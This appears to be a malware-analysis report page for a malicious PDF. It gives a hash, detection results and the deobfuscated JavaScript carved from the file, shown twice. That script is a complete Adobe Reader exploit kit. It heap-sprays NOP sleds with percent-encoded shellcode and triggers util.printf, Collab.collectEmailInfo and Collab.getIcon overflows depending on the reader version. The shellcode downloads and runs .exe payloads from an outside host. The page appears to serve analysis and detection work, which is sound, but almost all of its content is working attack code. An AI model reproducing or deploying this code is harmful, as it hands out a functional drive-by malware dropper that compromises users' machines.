var fillblock=bigblock.substring(0,spray);var block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
var mem_array=new Array();for(var i=0;i<1400;i++){mem_array[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);}
function collab_email(){var shellcode=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u612F%u6D64%u6E69%u6572%u6967%u6E6F%u692E%u666E%u2F6F%u7570%u7373%u632F%u6766%u7169%u7574%u2E33%u7865%u0065");var mem_array=new Array();var cc=0x0c0c0c0c;var addr=0x400000;var sc_len=shellcode.length*2;var len=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var count2=(cc-0x400000)/addr;for(var count=0;count<count2;count++){mem_array[count]=yarsp+shellcode;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function collab_geticon(){if(app.doc.Collab.getIcon){var arry=new Array();var vvpethya=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u612F%u6D64%u6E69%u6572%u6967%u6E6F%u692E%u666E%u2F6F%u7570%u7373%u612F%u6A64%u6E6D%u7470%u7A75%u2E33%u7865%u0065");var hWq500CN=vvpethya.length*2;var len=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+vvpethya;}
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
function pdf_start(){var version=app.viewerVersion.toString();version=version.replace(/\D/g,'');var varsion_array=new Array(version.charAt(0),version.charAt(1),version.charAt(2));if((varsion_array[0]==8)&&(varsion_array[1]==0)||(varsion_array[1]==1&&varsion_array[2]<3)){util_printf();}
if((varsion_array[0]<8)||(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){collab_email();}
if((varsion_array[0]<9)||(varsion_array[0]==9&&varsion_array[1]<1)){collab_geticon();}}
pdf_start();
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from combined JavaScript objects at offset 0x36B 5366 bytes
SHA-256: f65ad719d4e683cb76c2b7e065dc3b58ed87974af004309b571f71f18d663305
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function fix_it(yarsp,len){while(yarsp.length*2<len){yarsp+=yarsp;}
yarsp=yarsp.substring(0,len/2);return yarsp;}
function util_printf(){var payload=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u612F%u6D64%u6E69%u6572%u6967%u6E6F%u692E%u666E%u2F6F%u7570%u7373%u672F%u6B68%u3372%u652E%u6578%u0000");var nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
var heapblock=nop+payload;var bigblock=unescape("%u0A0A%u0A0A");var headersize=20;var spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
var fillblock=bigblock.substring(0,spray);var block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
var mem_array=new Array();for(var i=0;i<1400;i++){mem_array[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("E000f",num);}
function collab_email(){var shellcode=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u612F%u6D64%u6E69%u6572%u6967%u6E6F%u692E%u666E%u2F6F%u7570%u7373%u632F%u6766%u7169%u7574%u2E33%u7865%u0065");var mem_array=new Array();var cc=0x0c0c0c0c;var addr=0x400000;var sc_len=shellcode.length*2;var len=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var count2=(cc-0x400000)/addr;for(var count=0;count<count2;count++){mem_array[count]=yarsp+shellcode;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function collab_geticon(){if(app.doc.Collab.getIcon){var arry=new Array();var vvpethya=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u612F%u6D64%u6E69%u6572%u6967%u6E6F%u692E%u666E%u2F6F%u7570%u7373%u612F%u6A64%u6E6D%u7470%u7A75%u2E33%u7865%u0065");var hWq500CN=vvpethya.length*2;var len=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+vvpethya;}
var tUMhNbGw=unescape("	");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
function pdf_start(){var version=app.viewerVersion.toString();version=version.replace(/\D/g,'');var varsion_array=new Array(version.charAt(0),version.charAt(1),version.charAt(2));if((varsion_array[0]==8)&&(varsion_array[1]==0)||(varsion_array[1]==1&&varsion_array[2]<3)){util_printf();}
if((varsion_array[0]<8)||(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){collab_email();}
if((varsion_array[0]<9)||(varsion_array[0]==9&&varsion_array[1]<1)){collab_geticon();}}
pdf_start();

Open this report in the interactive analyzer, or submit your own file for analysis.